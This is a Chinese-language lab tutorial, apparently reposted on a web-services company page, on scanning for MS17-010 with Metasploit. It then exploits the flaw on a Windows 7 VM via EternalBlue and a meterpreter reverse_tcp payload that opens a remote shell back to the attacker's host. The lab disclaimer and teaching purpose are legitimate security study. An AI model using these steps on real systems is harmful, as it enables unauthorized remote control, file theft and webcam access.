☰
Metasploit 扫描 MS17-010 漏洞并渗透攻击
2026/10/14 9:58:18 网站建设 项目流程

⚠️ 安全声明:本实验及相关操作均在内网和靶机(虚拟机环境中的内网和靶机)中完成,与外界(物理机)完全隔离,仅用于安全研究与学习,严禁用于任何非法用途。

1. 引言

MS17-010(永恒之蓝)是 Windows 系统上一个著名的远程代码执行漏洞,攻击者可以利用该漏洞远程控制目标主机。本文将使用 Kali Linux 中的 Metasploit 框架,演示如何扫描靶机是否存在 MS17-010 漏洞,并利用该漏洞完成渗透攻击。

2. 扫描靶机是否存在 MS17-010 漏洞

第一步:启动 Kali 攻击机并进入 MSF 控制台

打开 VMware,启动 Kali 攻击机,进入系统后打开终端,输入sudo su切换至 root 权限,再执行msfconsole进入 MSF 控制台(每次启动的页面都会有所不同)。
如启动 msfconsole 遇到报错:

Database not connected or cache not built, using slow search

解决方案:输入msfdb init再输入一次msfconsole。

第二步:查找 MS17-010 漏洞相关脚本

使用search命令按关键字查找相关模块,命令:search ms17-010。

辅助说明:exploit为漏洞攻击模块;auxiliary为检测漏洞是否存在模块。

第三步:使用扫描脚本检测漏洞

使用上述auxiliary/scanner/smb/smb_ms17_010扫描模块对网络上的主机进行扫描,分析出存在该漏洞的主机信息。

第四步:查看脚本参数

使用命令show options或者options查看该脚本需要填写的参数。

参数解释:

  • Module options:辅助设置;
  • Name:参数名称;
  • Current Setting:目前设置情况;
  • Required:参数是否必选;
  • Description:参数描述信息;
  • RHOSTS:靶机的 IP 地址;
  • RPORT:靶机的端口号;
  • SMBPass、SMBUser:SMB 服务的用户名和密码。

第五步:设置脚本参数

设置上述脚本的参数,使用命令set设置参数、命令unset取消参数设置。如需查看必选参数是否存在未设置的情况,可使用命令show missing。

第六步:运行脚本查看情况

使用命令run或exploit开始运行脚本查看情况。

3. 使用攻击模块渗透靶机

第一步:选择攻击模块

使用命令back回退一级但不退出 msf,然后使用exploit/windows/smb/ms17_010_eternalblue进行验证是否存在永恒之蓝漏洞,命令:use 0或者use exploit/windows/smb/ms17_010_eternalblue。

第二步:查看所有攻击载荷

使用命令show payloads查看所有的攻击载荷脚本(约 73 条)。

第三步:设置攻击载荷

使用命令set payload windows/meterpreter/reverse_tcp与set命令设置攻击载荷与参数。

第四步:设置靶机与本地参数并运行

使用set命令设置远程靶机 IP 地址参数(RHOSTS)和本地 IP 地址参数(LHOST),使用命令run或exploit开始运行脚本查看情况。

运行了exploit命令之后,我们开启了一个 reverse TCP 监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符meterpreter>出现,即代表攻击成功。

PS:靶机的 IP 地址来自 VMWare 安装的 Win7 系统,输入ipconfig获取主机的 IP 地址。


第五步:切换到目标主机 Shell

我们输入shell即可切换到目标主机的 Windows shell,即可控制靶机,例如输入ipconfig即可查询靶机的 IP 地址。要想从目标主机 shell 退出到 meterpreter,我们只需输入exit。

第六步:Meterpreter 详细使用方法

Meterpreter 详细的使用方法可以使用help命令查询,例如需要上传下载文件、调用摄像头进行拍照等,可以看具体参数代表的含义。

4. 附录:下载 Win7 镜像操作系统并在虚拟机中安装

Win7 镜像下载地址:https://msdn.itellyou.cn/

下载链接:

ed2k://|file|cn_windows_7_enterprise_x64_dvd_x15-70741.iso|3203516416|876DCF115C2EE28D74B178BE1A84AB3B|/

虚拟机安装 Win7 的操作步骤:

  • 链接 1:https://blog.csdn.net/qq_63928796/article/details/126465689(优先看)
  • 链接 2:https://blog.csdn.net/weixin_43872190/article/details/119853889

⚠️ 安全声明:本实验及相关操作均在内网和靶机(虚拟机环境中的内网和靶机)中完成,与外界(物理机)完全隔离,仅用于安全研究与学习,严禁用于任何非法用途。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询